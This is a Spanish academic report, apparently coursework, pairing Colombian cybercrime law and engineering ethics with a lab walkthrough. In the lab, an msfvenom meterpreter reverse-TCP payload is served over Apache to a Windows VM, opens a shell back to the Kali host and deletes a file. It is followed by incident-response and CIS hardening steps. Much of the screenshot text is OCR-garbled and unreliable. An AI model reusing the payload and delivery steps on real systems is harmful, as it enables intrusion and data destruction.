Con esta clausula la empresa esté tratando de librarse de culpas y que el empleado

guede en frente ante cualquier culpabilidad encontrada por las autoridades.

Clausula Cuarta numeral 6,” la informacién confidencial o ilegal sin el previo

consentimiento por escrito por parte de HackerHouse.”

Con la clausula 4, numeral 3, 4,5y 6 estan impidiendo que se realice denuncia, si
se encuentran irregularidades, por lo tanto, se podria infringir el codigo de ética del
COPNIA, también que toda la responsabilidad recaiga en el empleado y que la

empresa quede libre de culpas.
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Clausula Octava, “En caso que la informacién ilegal o confidencial sea encontrada
en manos del receptor este debera acudir a un abogado privado y dejar exenta de

cualquier responsabilidad legal y penal a HackerHouse.”

Este tipo de inconsistencias denota que la empresa realiza actividades ilicitas y que
quiere que la responsabilidad recaiga en los empleados gue firmen este acuerdo de

confidencialidad.

9 LEY QUE SE PODRIA ESTAR VIOLANDO EN EL ANEXO 2Y 3

Una vez se identificaron las inconsistencias en el acuerdo de confidencialidad, se
puede relacionar con las siguientes leyes, las cuales posiblemente se estarian
violando, Ley 1273 de 2009'° y Ley 581 de 20121 :

- Ley 1273 de 2009 - articulo 269 A: Ya que se esté accediendo a informacién o

sistemas informéaticos de una manera abusiva.

- Ley 1273 de 2009 - articulo 269 B: se esta accediendo de una forma ilegitima al

sistema informatico

- Ley 1273 de 2009 - articulo 269 C — Estan obteniendo informacioén por medio de
chuzadas y formas no adecuadas.

10 FISCALIA GENERAL DE LA NACION. Cartilla metodoldgica de atencion de delitos informaticos.
Fiscalia General de la Nacion [Sitio web]. (21, septiembre, 2023). [Consultado el 15, febrero, 2024].
Disponible en Internet: <https://www.fiscalia.gov.co/colombia/wp-content/uploads/Cartilla-
Metodologica-de-Atencion-de-Delitos-Informaticos. pdf>.

A . Leyes desde 1992 - Vigencia expresa y control de constitucionalidad [LEY_ 1581 2012].
SECRETARIA GENERAL DEL SENADO [Sitio web]. (31, diciembre, 2023). [Consultado el 17,
febrero, 2024]. Disponible en Internet:
<http://www.secretariasenado.gov.co/senado/basedoc/ley_1581_2012.htmi>.
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Ley 1273 de 2009 - articulo 269 F - Violacién de datos personales

Ley 1273 de 2009 - articulo 269l - Hurto por medios informéticos y semejantes

Ley 581 de 2012 — Articulo 4 numeral g — Principio de seguridad

Ley 581 de 2012 — Articulo 17 numeral n - Articulo 18 numeral b — No estan

teniendo en cuenta los deberes de las personas que realizan el tratamiento.

10 CODIGO DE ETICA - COPNIA

Validando el codigo de ética del COPNIA, se puede tener como un manual de
conducta de los ingenieros, en donde se especifica las obligaciones, deberes,
prohibiciones, inhabilidades e incompatibilidades relacionadas con la ejecucion de
la profesion, en busca de que los profesionales actien de manera honesta y con

compromiso.

a continuacion, se relacionan todos los capitulos y articulos contenidos en el cédigo
de conducta del COPNIA, para tener una vision mas amplia, de lo que los
profesionales deben o no hacer segun tabla 3:

Tabla 3. Cédigo de ética del COPNIA
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CAPITULO

ARTICULO

DESCRIPCION

I
POSTULADOS ETICOS
DEL EJERCICIO
PROFESIONAL.

29

Es un marco de comportamiento de
los profesionales, en donde se debe
ajustar a las normas establecidas por

el codigo.

30

Los ingenieros o con titulos afines se

denominan profesionales.

I
DEBERES Y
OBLIGACIONES

31

Se establece todos los deberes que
deben tener en cuenta los

profesionales.

Se debe custodiar informacion,
documentos o0 bienes que se
encuentren a cargo en el desempeiio

de las funciones.

Se deben denunciar todos los delitos

que vayan en contra con este cédigo.

32

Permitir el ejercicio ilegal

Solicitar dineros o comisiones por la

prestacion de sus servicios.

Incumplir decisiones del COPNIA

33

Validar cuidadosamente cada
ambiente en el que se vaya a ejercer

la profesion.
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No emitir conceptos profesionales, si
no se tiene la suficiente informacion

0 convencimiento absoluto.

Siempre proteger la vida, salud y el

patrimonio nacional.

34

Este articulo en marca las
prohibiciones que tienen los

profesionales.

No se puede aceptar trabajos en los

gue se violen las leyes vigentes.

Contribuir para que se realicen
diplomas, actas, tarjeta profesional a
personas que no reunen los

requisitos.

35

Este articulo habla sobre los deberes
de los profesionales y la dignidad de

la profesion.

Respetar todas las disposiciones

legales.

Atender por el buen prestigio en el

ejercicio de la profesion.

42




36 Se prohibe recibir cualquier tipo de
beneficios ilegales, tales como
comisiones o regalos.

37 Se relacionan los deberes que tienen
los profesionales con sus colegas.

38 Prohibiciones con respecto a sus
colegas.

No se puede utilizar archivos,
disefios, software, calculos, etc, sin
previa autorizacion del duefio.

No utilizar métodos desleales con los
colegas

39 Deberes con los clientes
Mantener reserva con los trabajos
gue se realizan a un cliente.

Atender con diligencia y aptitud los
asuntos de sus clientes.

40 Prohibiciones respecto a los clientes

Ofrecer servicios que sean de

dudosa o no posible cumplimiento.

Aceptar beneficios de terceros
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41

Deberes de los profesionales en un

cargo publico o privado

Se debe actuar de manera imparcial
en el momento de fijar o preparar

pliegos

42

Prohibiciones de los profesionales en

un cargo publico o privado

Participar en procesos evaluativos

sobre tareas de sus colegas.

43

Deberes de los profesionales en

licitaciones

44

Prohibiciones de los profesionales en

licitaciones

1
INHABILIDADES E
INCOMPATIBILIDADES
DE LOS
PROFESIONALES

45

Inhabilidades e incompatibilidades

de los profesionales

No se puede desempefiar como
profesional al mismo tiempo en dos
empresas, sin previo consentimiento

de las partes.

Se puede intervenir como perito
cuando estén  presentes las

inhabilidades de ley.
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Fuente: COPNIA. Codigo de ética | Copnia. Inicio | Copnia [Sitio web]. [Consultado
el 23, febrero, 2024]. Disponible en Internet: <https://www.copnia.gov.co/tribunal-

de-etica/codigo-de-etica>.

Luego de ver las disposiciones que se encuentran en el cédigo de ética del Copnia??
y teniendo en cuenta como primer punto mi actuar como persona, se da respuesta

a la pregunta:

¢, Si usted llegara a encontrar procesos ilegales en el acuerdo de confidencialidad
usted aceptaria contrato y acuerdo de confidencialidad de la organizacion
HackerHouse, aun conociendo lo que podria disponer COPNIA en su cédigo de

ética y sanciones en Colombia para profesionales de ingenieria?

- Por principios éticos no aceptaria firmar el principio de acuerdo y tampoco
trabajaria en la empresa, ya que es posible que se dedique a actividades
ilicitas.

- En el capitulo 2 articulo 31, se puede observar, que los profesionales
debemos custodiar la informacién como lo indica el numeral b y denunciar
todos aquellos delitos que se encuentren, segun numeral f

- En el capitulo 2 articulo 34, en donde en el numeral a mencionan que no se
pueden aceptar trabajos que vayan en contra con las disposiciones legales
vigentes

- También se puede tener la cancelacién de la matricula profesional, ya que
se considera una falta gravisima segun el numeral e, cometer algun delito

gue atente contra algun cliente, colega en el ejercicio de la profesion.

12 COPNIA. Cddigo de ética | Copnia. Inicio | Copnia [Sitio web]. [Consultado el 23, febrero, 2024].
Disponible en Internet: <https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica>.
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11 NOTICIA SOBRE CIBERCRIMEN

El 14 de septiembre de 2023, el periddico el pais'3 publico la noticia sobre un hackeo
masivo en Colombia, donde las paginas web del ministerio de la salud, la rama
judicial, la superintendencia de industria y comercio, entre otras estuvieron caidas y

ya era el tercer dia del incidente.

El ataque cibernético inicio cuando un software ataco varias maquinas virtuales de
IFX, la empresa confirmo que fue un archivo tipo Ransomware, afectando a varias
empresas, como también lo estuvieron el ministerio y sistema de salud, en donde
los pacientes no pueden pedir citas y los médicos no tenian acceso a las historias

clinicas.

Para este caso y validando las leyes, en donde se identifica el delito que se cometio

al realizar el hackeo masivo:

- Ley 1273 de 2009, Articulo 269 A
- Ley 1273 de 2009, Articulo 269 B
- Ley 1273 de 2009, Articulo 269 D
- Ley 1273 de 2009, Articulo 269 E
- Ley 1273 de 2009, Articulo 269 F
- Ley 1273 de 2009, Articulo 269 |

13 OWNBY, Jules. Hackeo masivo en Colombia: “La informacién de millones de personas esta en
manos de delincuentes en este momento”. El Pais América Colombia [Sitio web]. (14, septiembre,
2023). [Consultado el 24, febrero, 2024]. Disponible en Internet: <https://elpais.com/america-
colombia/2023-09-14/hackeo-masivo-en-colombia-la-informacion-de-millones-de-personas-esta-en-
manos-de-delincuentes-en-este-momento.htmi>.
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12 HERRAMIENTAS UTILIZADAS EN EL ANEXO 4 — ESCENARIO 3

12.1 MSFVENOM

Utiliza lineas de comandos para la creacion de Payloads personalizados, se pueden

crear para diferentes arquitecturas y sistemas operativos!4.
Para nuestro ejercicio se utilizé un Payload para Windows, en donde podemos ver
las opciones al ejecutar el comando msfvenom -I payloads | grep Windows, como

se muestra en la Figura 1.

Figura 19, Payloads en Msfvenom para Windows

jzhm@kali: ~

a 1 adminis
requirements. Compl 4 char: 1 R, 11 r, 1 digi
Listen for i a a
Li n for

e . Custom
an htt e . Custom
an http se . Custom
an http se . Custom
an tp se . Custom

Fuente: Propia

14 GITBOOK. MsfVenom | cheatsheet. Introduccion | Cheatsheet [Sitio web]. [Consultado el 15,
marzo, 2024]. Disponible en Internet: <https://afsh4ck.gitbook.io/ethical-hacking-
cheatsheet/explotacion-de-vulnerabilidades/explotacion-en-hosts/msfvenom>.
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12.2 PAYLOAD

Es un conjunto de instrucciones maliciosas con la finalidad de infiltrarse al equipo
de su victima y conseguir ejecutar tareas, que permitan por ejemplo: el control de la
maquina, enviar archivos, ejecutar una botnet.y despliegue de software malicioso,

entre otros?t®.

Existen dos clases de Payload, directo e inverso, para nuestro ejercicio se utilizé el

inverso y para su ejecucion se utilizo el framework Metasploit.

12.3 METASPLOIT

Se utiliza para la explotacion de vulnerabilidades, aprovechando fallos en los
sistemas, también contiene herramientas de postexplotacibn que permiten la

ejecucion en la maquina de la victima?®.

Figura 20. Metasploit

rites
thy Used
ALl Applica

Settings

Usual Applications

o1 — Inforrm

O2 — Wulnera b

Fuente: Propia

-------- . ¢ Qué es un payload? | KeepCoding Bootcamps. KeepCoding Bootcamps [Sitio web]. (2,
octubre, 2023). [Consultado el 15, marzo, 2024]. Disponible en Internet:
<https://keepcoding.io/blog/que-es-un-payload/>.

16 KEEPCODING BOOTCAMPS. 4 herramientas de postexplotacién | KeepCoding Bootcamps.
KeepCoding Bootcamps [Sitio web]. (23, noviembre, 2023). [Consultado el 15, marzo, 2024].
Disponible en Internet: <https://keepcoding.io/blog/herramientas-de-postexplotacion/>.
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El Mestasploit ya viene preinstalada en Kali, como se observa en la Figura 20.

12.4 METERPRETER

Es una carga util que permite por medio de una conexion inversa, enviar codigo a
la maquina victima, los comandos utilizados para nuestro anexo, son los
siguientes?’:

Sysinfo: con este comando se obtiene la informacion de la maquina.

Ls: lista los archivos que tiene la maquina objetivo

Rm: Elimina el archivo indicado

12.5 NMAP

Es una herramienta muy utilizada para realizar auditorias de seguridad y exploracion
de lared, permite obtener informacién de maquinas en una red, sistemas operativos
indicando sus versiones, el tipo de cortafuegos que esta utilizando y muchas otras

caracteristicas utilies para el reconocimiento de la maquina®.

17 CUNHA BARBOSA, Daniel. Metasploit Framework: explotar vulnerabilidades puede ser bastante
facil. Award-winning news, views, and insight from the ESET security community [Sitio web]. (23,
octubre, 2023). [Consultado el 15, marzo, 2024]. Disponible en Internet:
<https://www.welivesecurity.com/es/recursos-herramientas/metasploit-framework-explotar-
vulnerabilidades/>.

18 NMAP.ORG. Guia de referencia de Nmap (Pagina de manual). Nmap: the Network Mapper - Free
Security Scanner [Sitio web]. [Consultado el 16, marzo, 2024]. Disponible en Internet:
<https://nmap.org/man/es/index.html#man-description>.
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Las salidas que proporciona Nmap es un listado con los objetivos que se han
analizado, para la cual en nuestra actividad nos fue de utilidad, la lista de puertos,

en donde podemos identificar es estado como open, filtered, closed o unfiltered.

13 IDENTIFICACION DE FALLO
Al realizar el analisis del problema expuesto por el administrador del equipo, se
encontraron datos muy importantes que se deben tener en cuenta en la realizacion

y utilizacion de las herramientas adecuadas, que nos lleven a identificar lo sucedido,

los puntos claves son:
- Administrador indica la eliminacién de archivo.
- Envio de archivo sospechoso que el administrador procede a descargar y a
ejecutar en la maquina.
- Sistemas de seguridad deshabilitados.

14 HERRAMIENTA UTILIZADA PARA LA IDENTIFICACION DEL FALLO

La herramienta que se utilizo para realizar el escaneo de la maquina, fue Nmap en

donde se encontro el siguiente hallazgo:

Deteccién de puertos habilitados
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Figura 21. Escaneo Nmap

o iam P D]~

root@kali: /home/jzhm

File Actions Edit View Help

M
Nmap do (1 host up)

Shome/jzhm

Fuente: Propia

Deteccion de version y sistema operativo

Figura 22. Deteccion version y SO

/home/3zhm

sld not find at least 1 open and 1 clc

ft windows 10 1909 (90%), Microsoft Win

04

name: JZHM, NetBIOS : <unknown>, NetBIOS MAC: 08:00 4 (0 VirtualBox virtual NIC)

report orrect r at https://nmap.org/submit/ .
60. secor

/home/jzhm

Fuente: Propia
15 DIAGRAMA EXPLOTACION DEL ATAQUE

En la figura 5. se evidencia el diagrama del ataque, teniendo cuenta los siguientes
pasos realizados:
Tenemos dos maquinas, una Kali que es por medio donde se va a realizar el ataque

y una maguina Windows que va a ser nuestro objetivo.
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Por medio de Msfvenom se cre6 un Payload para enviar a la maquina Windows
Después se envié por medio del servidor apache para que el usuario descargara el
archivo.

Luego se abre un exploit para quedar a la escucha y que el usuario de la maquina
Windows ejecute el archivo.

Una vez ejecutado el archivo, el exploit ejecutara el meterpreter por medio de una
Shell reversa.

Se evidenciaré el acceso de la maquina Kali hacia la maquina Windows

Figura 23. Diagrama ataque

Windows

192.168.1.3 2

52968424

yad
.
shell reversa

Pay
ploit en escucha
on del Poc

Ex

Kali @

Meterpreter

Ejecuc

Msfvenom
-
Pl

192.168.1.8

Fuente: Propia
16 DESARROLLO DEL ANEXO 4 - ESCENARIO 3

Se realiza la identificacion de la IP de nuestra maquina Kali
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Figura 24. IP Kali

P& Kali [Corriendo] - Oracle VM VirtualBosx — m} =
Archive Maquina Ver Entrada

N = a1 |

Dispositivos Ayuda

Ehm@kali: ~

Actions Edit WView Help

mtu
broadcast 192.168
[+] d
(Ethernet)

collisions @

collisions

o &P & & = CTRL DERECHA

Fuente: Propia

Se realiza la identificacion de la IP de nuestra maquina Windows

Figura 25 IP Windows

E¥ Seleccionar Simbolo del sisterma

Fuente: Propia

Se procede con la des habilitacion del antivirus y firewall segun Figura 5
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Figura 26 Des habilitacién Firewall y Antivirus

e Inicio Acerca de
Buscar una opcion de configuracion El equipo esta supervisado y
protegido.
Sistema & Proteccién contra virus y amenazas
= Ppantalla @ Firewall y proteccion de red
@ Rendimiento y estado del dispositivo
L1 Netificaciones y acciones A Control de aplicaciones y explorador
> Iniciofapagado y suspensién Ver detalles en Windows Defender

— Bateria

== Almacenamiento Especificaciones del dispositivo

8 Modo tableta MNombre del dispositive JZHM
Procesador

L Multitareas
RAM instalada

51 Proyectar en este equipo Id. del dispositive

% Experiencias compartidas Id. del producto

Tipo de sistema

»<  Escritorio remoto
Lapiz y entrada tactil trada tactil o manuscrita n

I ()  Acerca de disponible para esta pantalla
Acerc

Fuente: Propia

Se deja en el escritorio el archivo. Txt el cual lame Confidencia.txt

Figura 27. Creacion archivo .txt

=

Papelera de
reciclaje

fidencial

Archive Edicion  Formate  Ver  Ayuda
Jenny_Herrera

282337164-7

13/83/2824

Ejecucidn pruebas de Intrusiodn

Fuente: Propia

Se procede con la creacion del Payload
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Figura 28. Creacién Payload

Pj Kali [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

S emk ot

jzhm@kali: ~
File Actions Edit View Help

windows/x64/meterpreter/reverse_tcp windows x64 LHOST=192.168.1.8 LPORT=443 exe /home/jzhm/Downloads/PoC_52968424.exe
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

Fuente: Propia

Se valida que en la ruta elegida este nuestro archivo PoC

Figura 29. validacion archivo POC en Kali

ﬂ Kali [Corriendo] - Oracle WM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

= i P

File Edit Wiew Go Bookmarks Help
1T N M jzhm Downloads

Places
B Computer
B jzhm
= | Desktop
Recent
' Trash
&) Documents

Music

n
|l Pictures
= Videos

20 Downloads
Devices
_E File System
MNetwork

D Browse MNetwork

Fuente: Propia
Se enviara archivo por medio de apache2, para esto se instalara el apache y se

subir& el servicio, posteriormente se copiara en la ruta /var/www/html/
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Figura 30.Copia de archivo PoC

ShomesJzhm/Downloads
PoC_52968424 . .exe JSvar/www,/ html/

Ahome/jzhm/Downloads

Fuente: Propia

Se ejecuta la ip de Kali en el navegador de Windows, en donde descarga el
archivo POC

Figura 31. Descarga archivo PoC en windows

[ <5 [EJ apachez Debian Defaul >< —+

< - (@] ot (i) 19z.1ss8.1.8

( % ) Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the ApacheZ server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at
Svarfwaw/html findex . html) before continuing to operate your H P server.

If you are a normal user of this web site and don't know what this page is about, this probably means

that the site is currentl¥ unavailable due to maintenance. If the problem persists, please contact the
site’'s administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in Jusr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

sletcsapache2,
[ -- apacheZ.conf
.. ports.conf

! [-- *.load
! t-- *_conf
|-- conf-enabled

! T -- *_conf
I sa P,

. 5 7
BC;P‘Iengu;zrses‘: I;acer con PoC_52968424.exe (7.0 KB)? FmeiEr Guardar o~ Cancelar

Fuente: Propia
Se deja en descargas
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Figura 32. Validacién archivo PoC en Windows

[y <= [ aApache2 Debian Defaul >

+
& S O @ O sss Y
s ANE] =1 Herramientas de aplicacion ~ Descargas - o
Inicio Compartir Vista Administrar e
« R Este equipo » Descargas v O Buscar en Descargas p-]
Mombre Fecha de modifica..  Tipo Tamafio
7 Acceso rapido
. —— [5] PoC_52968424 13/03/2024 10:57 a...  Aplicacién 7KB
scritorio
Th
in 4} Descargas
in || Documentos
N =| Imagenes
i; J’! Musica
si B videos

@ OneDrive

D [ Este equipo

in

Fuente: Propia

Ahora se sube el metasploit y se ejecuta el exploit guedando a la escucha

Figura 33. Metasploit

E Kali [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda

. skipping initi
i T

nd

- 416 post
11 nops

ocs.metasploit.com/

/meterpreter/reverse_tcp

xploit(

d

Fuente: Propia

Shell No. 1

Cuando se ejecuta el archivo en la maquina de Windows, se obtiene acceso
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Figura 34. Acceso ala maquina objetivo

FE Kali [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos Ayuda
= B =[]~

File Actions Edit View Help
% sudo msfdb init

416 post
11 nops

Fuente: Propia

El meterpreter se abre y con sysinfo se valida la informacion de la maquina Windows

Figura 35. Se obtiene la informacién de Windows

= Kali [Corriendo] - Oracle VM VirtualBox
Ver Entrada
3 4

Archivo Maquina Dispositivos Ayuda

- B e -] -

Edit  View H

Fuente: Propia
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Se valida la ubicacién del archivo y nos cambiamos de directorio ya que esta en

descargas, pero nuestro documento esta en el escritorio

Figura 36. Validacion archivo en Windows

JZHM/Desktop

Fuente: Propia

Con el comando rm se elimina nuestro archivo Confidencial.txt

Figura 37. Eliminacion archivo Confidencial.txt

Name

Confidencial.txt
desktop.ini

5/ TW— TW— Tw— Fil z A2—14 19:53:55 D500 desktop.ini

meterpreter > B

Fuente: Propia
Se valida en la maquina de Windows que efectivamente ya no exista el archivo

Figura 38. Confirmacion eliminacion

| A <= | Escritario — O =
Inicio Compartir Vista [ 7]
“— ~ 1 [ <« Disco local (C:) » Usuarios » JZHM » Escritorio ~ Buscar en Escritorio y-]
Mombre Fecha de medifica... Tipo Tamafio

. # Acceso rapido

= B Escritorio Esta carpeta estd vacia.

in 4} Descargas

in [#] Documentos

e &= Imagenes

i; b Musica

si B videos

Bl & OneDrive
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Fuente: Propia
17 PASOS PARA LA IDENTIFICACION DE UN ATAQUE

El grupo Blue Team debe estar pendiente ante cualquier actividad sospechosa,

como, por ejemplo:

° Incremento de la actividad de archivos inusual.

o Trafico de red sospechoso.

Segun el marco de seguridad NIST??, en su etapa de Detectar, se debe tener en

cuenta:
o Los procesos de Deteccion, se deben probar y actualizar
o Validar y monitorear constantemente los logs. Los registros de eventos

contienen iniciacién de canales de comunicacion, cambios en sistemas o cuentas,

por lo tanto, es de gran utilidad para buscar patrones o anomalias.

o Conocer los comportamientos de la empresay el flujo de datos.

o Cuando se presenta un evento de ciberseguridad, se debe trabajar de

manera inmediata para comprender la magnitud del evento.

19 NIST TECHNICAL SERIES PUBLICATIONS. Primeros pasos de NIST Marco de ciberseguridad:
guia de inicio rapido. NIST Technical Series Publications [Sitio web]. (16, marzo, 2022). [Consultado
el 25, marzo, 2024]. Disponible en Internet:
<https://nvipubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.1271es.pdf>.
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Dado que la empresa HackerHouse se vio expuesta a un ataque, es importante que

el equipo Blue Team, realice la validacion y realice los siguientes pasos?°:
1. Identificar y dejar registrado el incidente: se debe obtener toda la informacion
gue esté disponible sobre el incidente y asi validar si fue una amenaza real para los

sistemas.

2. Evaluar cual fue el alcance del incidente: se debe determinar los datos y
sistemas que fueron vulnerados y el grado de afectacion.

3. Minimizar el dafio: se debe limitar la exposicion de los datos o sistemas,

tratando de desactivar cuentas, servicios, aplicaciones, bloquear puertos, etc.

4. Restauracién de los sistemas y la informacion: recuperacién de archivos

perdidos, reconfiguracion...

5. Notificar a las autoridades.

6. Seguimiento a los incidentes: es importante realizar monitoreo para que el

incidente no se vuelva a presentar.

20 AUDITECH. ¢ Por qué es importante tener un equipo de respuesta a incidentes de ciberseguridad?
| Auditech. Auditech [Sitio web]. (10, noviembre, 2023). [Consultado el 25, marzo, 2024]. Disponible
en Internet: <https://auditech.es/blog/por-que-es-importante-tener-un-equipo-de-respuesta-a-
incidentes-de-ciberseguridad/>.
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18 PASOS PARA SUBSANAR EL ATAQUE

Teniendo en cuenta los controles del CIS y en cuanto a benchmarks, podemos
encontrar, la categoria de sistemas operativos, que son de gran ayuda para la

configuracion de seguridad, para nuestro caso Windows.

1. Politicas de cuenta: dentro de este control se encuentra las politicas de
contrasefa, por lo que se debe tener configurado:

La vigencia debe ser 365 dias 0 menos
Longitud minima 14 o mas caracteres

La complejidad debe cumplirse y estar habilitada

Figura 39. Contrasefias

Crear una contrasena

MNueva contrasefia

Colkfirmar
contrasefia

Indicio de
contrasefia

Fuente: Propia
2. Politicas Locales: se debe realizar la configuracion de usuarios
administradores y locales.

3. Registro de eventos: Se debe validar los logs de eventos y asi validar

posibles irregularidades.
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Figura 40. Registro de eventos

& Administracién de equipos

Archive  Accign  Ver  Ayuda

&= | 2w |3 5E

& "Qdmmisnadén del equipo (locll pajapras clave Fecha y hora Crigen
~ {f} Herramientas del sistema . -
® Programador de tareas ||| - Audtorla c..  26/03/2024 59 p. m. Mcrosoft W
+ @] Visor de eventos "f‘\._AUdItOrI‘E c.. 26/03/2024 10:27:58 p. m. Microsoft Wi...
W Vistas personalizada 'T\l‘Auditnn’a c.. 26/03/2024 10:27:51 p. m. Microsoft Wi...
~ [my Registros de Windo 'f\l;Auditon’a .. 26/03/2024 10:24:09 p. m. Microsoft Wi..
N = Aplicacién '*f{.‘AuditUrl'a . 26/03/2024 10:24:08 p. m. Microsoft Wi...
E.—| Seguridad "?\._Audlturl'a €. 26/03/2024 10:24:09 p. m. Microsoft Wi...
§—| Instalacion '%Auditorl’a C.. 26/03/2024 10:24:09 p. m. Microsoft Wi...
=] Sistema @, Auditoria c...  26/03/2024 10:22:03 p. m. Microsoft Wi...
=] Eventos reenviac Q‘ Auditoria c.. 2670372024 10:22:03 p. m. Microsoft Wi..
~ [ Registros de aplicac '\}{__Auchtun'a . 26/03/2024 10:22:03 p. m. Microsoft Wi...
=] Eventos de harch| || € auditoria ...  26/03/2024 10:22:03 p. m. Microsoft Wi...
é?l Internet Explorer| | @ auditoria c...  26/03/2024 10:22:03 p. m. Microsoft Wi...
| Microsoft @, auditoria c...  26/03/2024 10:22:03 p. m. Microsoft Wi...
— OpenS5H @, Auditoria c..  26/03/2024 10:21:23 p. m. Microsoft Wi...
=] Servicio deadmilll @ a,ditnris - FRNAINIA N1 1 m Micrncnft Wi

Fuente: Propia

Id. del evento

4798
4793
4757
4797
4797
4797
4798
4758
4798
4798
4797
4798
5379
s37a

Categoria del.. ™

User Account

User Account ...
User Account ...
User Account ...
User Account ...
User Account ...
User Account ...
User Account ...
User Account ...
User Account ..
User Account ...
User Account ...
User Account ...
User Account ...

lleer Accnnnt

Acciones

Seguridad

Abrir registro gu
Crear vista persc
Importar vista p
Vaciar registro...
Filtrar registro at
Propiedades
Buscar...
Guardar tedos I
Adjuntar tarea a
Wer

Lctualizar

4. Validar que el firewall y antivirus este activo, se activa firewall y antivirus y se

procede a realizar un examen

Figura 41. Activacion Firewall y antivirus

Seguridad de Windows

| ;v inicie dispositivo, v
L) FProteccion contra wirus y amenazas
=2 Proteccion de cuentas
(D] Firewall y proteccian de red IQ
= Contral de aplicaciones y explorador

= Seguridad del dispositivo
= Rendimiento y estado del dispositivo

H2  Opciones de familia

&

Seguridad de un wvistazo

ucediendo con la seg

meaedidas necesarias

Proteccidén contra virus w
amenazas
Mo se reguiere ninguna accion

Firewall v proteccidon de red
Mo se reguiere ninguna accion.

Fuente: Propia
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Figura 42

Seguridad de Windows

<

5.

Inicio

Proteccién contra virus y amenazas
Proteccion de cuentas

Firewall ¥ proteccion de red

Contrel de aplicaciones y explorador
Seguridad del dispositivo

Rendimiento y estado del dispositivo

. Escaneo con el antivirus

@, Proteccion contra virus

Y amenaZzas Videos ¢
Proteccion para el dispositivo contra amenazas. Mas info
contra vi
8@ Amenazas actuales ;Tienes
Obtener
Examen rapido en ejecucidn...
Tiempo restante estimado: 00:00:57
1168 archivos examinados »
JQuien 1
Cancelar Administ
Puedes seguir trabajando mientras examinamos &
Loudar

Fuente: Propia

Actualizacion del sistema operativo

Figura 43. Actualizacion SO

Estas actualizaciones mantendran el equipo

protegido ¢

uando estés en linea

No apagues el equipo

Fuente: Propia
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19 RED TEAM, BLUE TEAM, PURPLE TEAM Y EQUIPOS DE RESPUESTA A INCIDENTES INFORMATICOS

READ TEAM

Tabla 4. Diferencias entre los grupos

BLUE TEAM

PURPLE TEAM

EQUIPO RESPUESTA A
INCIDENTES

Seguridad Ofensiva

Emulan a los atacantes

Emulan escenarios de
ataque

Despliegan una serie de
pasos para obtener acceso

a una red.

Seguridad defensiva

Evalta

las

amenazas

diferentes

Vigilancia constante

Relne

los

datos

necesarios para saber que

hay

que

proteger,

65

Asegura y maximiza la
efectividad de los equipos

rojo y azul

Gestiona seguridad de los

activos de la organizacion

Encargados de realizar
pruebas

Busca la integracion de
y

procedimientos ofensivos y

tacticas, técnicas

técnicas defensivas

Son los encargados de

recibir los informes,
analizarlos y responder a

las amenazas.

de

oportuna y urgente contra

Responde manera

los ataques.

Detienen el impacto del
ataque.
Realizan acciones

forenses.



Utilizan rastreadores de
paguetes y analizadores de
protocolos, con la finalidad
de

informacion posible.

obtener la mayor

Ejercicios de los equipos

rojos:

- Pruebas de
penetracion.

- Ingenieria social.

- Interceptacion  de

comunicaciones.

- Phishing

realizando una evaluacién

de los riesgos.

El equipo azul esta en la
capacidad de reconocer la
red y si esta podria estar
expuesta a un
DDos.

ataque

Ejercicios de los equipos
azules:

- Auditorias de DNS

- Andlisis de huella
digital.

- Validar
controles de cortafuego

gue los

estén configurados

correctamente.
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Ayuda que el equipo azul
conozca los activos criticos

o las brechas de seguridad

Ejercicios  del  equipo
morado:
- Definir las

responsabilidades y roles.
- Mediante el CTI se
puede analizar y recopilar
informacion necesaria.

- Organizar y analizar.
- Tener un plan de

desarrollo.

Investigan posibles

amenazas.

Ejercicios del equipo de
respuesta a incidentes:
- Tomar medidas para
prevenir los incidentes.

- Actualizar, probar y

gestionar el plan de
respuestas a incidentes.

- Ubicar en
cuarentena y aislar

sistemas.



- Desplegar control de
seguridad de deteccion y
prevencion.

- Aseguramiento de

los sistemas.

Fuente: Propia
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Ejecucion del plan.

- Actividades de
seguimiento,

documentacion, analisis e
identificacion de los

incidentes.



En la figura 44, se puede observar la funcion més importante y la caracteristica de

los tres grupos

Figura 44. Caracteristicas y funciones de los tres grupos

6 BLUE TEAM Xz PURPLE TEAM % RED TEAM

Couples and coordinates red

RN ibicoroimiee [ St ot
g S capabilities of both &
Business-Informed Bases Defense o Threat-Informed
» threats to the Business «
Context of how to break (and
Architecture Familiarity # protect) the most critical « “Red” Mindset
assets

Detection Specialists » Aligns detection to threats « Threat Emulation Specialists

Fuente: INCIBE. El equipo purpura aumenta la efectividad del equipo rojo y el equipo
azul en SCI. INCIBE [Sitio web]. (23, julio, 2023). [Consultado el 26, marzo, 2024].
Disponible en Internet: <https://www.incibe.es/en/incibe-cert/blog/purple-team-

increases-effectiveness-red-team-and-blue-team-sci>.
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20 CIS “CENTER FOR INTERNET SECURITY”
Los controles de seguridad criticos CIS?! son un conjunto de recomendaciones para
la ciberdefensa que brindan formas determinadas y viables de frustrar los ataques.
Los controles CIS son una lista de acciones defensivas que ayudan a tener un punto
de partida de lo que se debe hacer y lo que primero se debe hacer, para mejorar la
seguridad.

Beneficios:

- Ayuda a las organizaciones a tener el punto de partida en la defensa.
- Dirigir los recursos en acciones inmediatas.
- Centrar la atencién la atencién y recursos, segun los riesgos que son

exclusivos del negocio.

Los controles CIS se pueden utilizar con los marcos regulatorios como, por ejemplo,
NIST, ISO27000 y regulaciones como PCI DSS, HIPAA, NERC CIP y FISMA

Actualmente cuenta con 18 controles, que se relacionan a continuacién?:

Control CIS 1: Inventario y Control de Activos Empresariales

Control CIS 2: Inventario y Control de Activos de Software

Control CIS 3: Proteccion de datos

Control CIS 4: Configuracion segura de software y activos empresariales

